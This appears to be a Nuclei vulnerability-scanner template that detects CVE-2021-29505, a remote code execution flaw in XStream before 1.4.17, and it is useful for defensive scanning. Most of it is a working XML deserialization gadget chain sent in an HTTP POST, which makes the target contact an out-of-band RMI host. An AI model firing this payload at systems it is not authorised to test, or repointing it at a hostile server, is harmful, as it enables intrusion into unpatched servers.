nuclei-templates/http/cves/2021/CVE-2021-29505.yaml

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id: CVE-2021-29505
info:
name: XStream <1.4.17 - Remote Code Execution
author: pwnhxl
severity: high
description: |
XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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remediation: Patched in 1.4.17.
reference:
- https://paper.seebug.org/1543/
- https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29505
- https://github.com/x-stream/xstream/security/advisories/GHSA-7chv-rrw6-w6fc
- https://nvd.nist.gov/vuln/detail/cve-2021-29505
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-29505
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cwe-id: CWE-502
epss-score: 0.02373
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epss-percentile: 0.88448
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cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
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vendor: xstream_project
product: xstream
tags: oast,vulhub,cve,cve2021,xstream,deserialization,rce
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>{{interactsh-url}}</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>{{interactsh-url}}</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "timestamp"
- "com.thoughtworks.xstream"
condition: or
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 500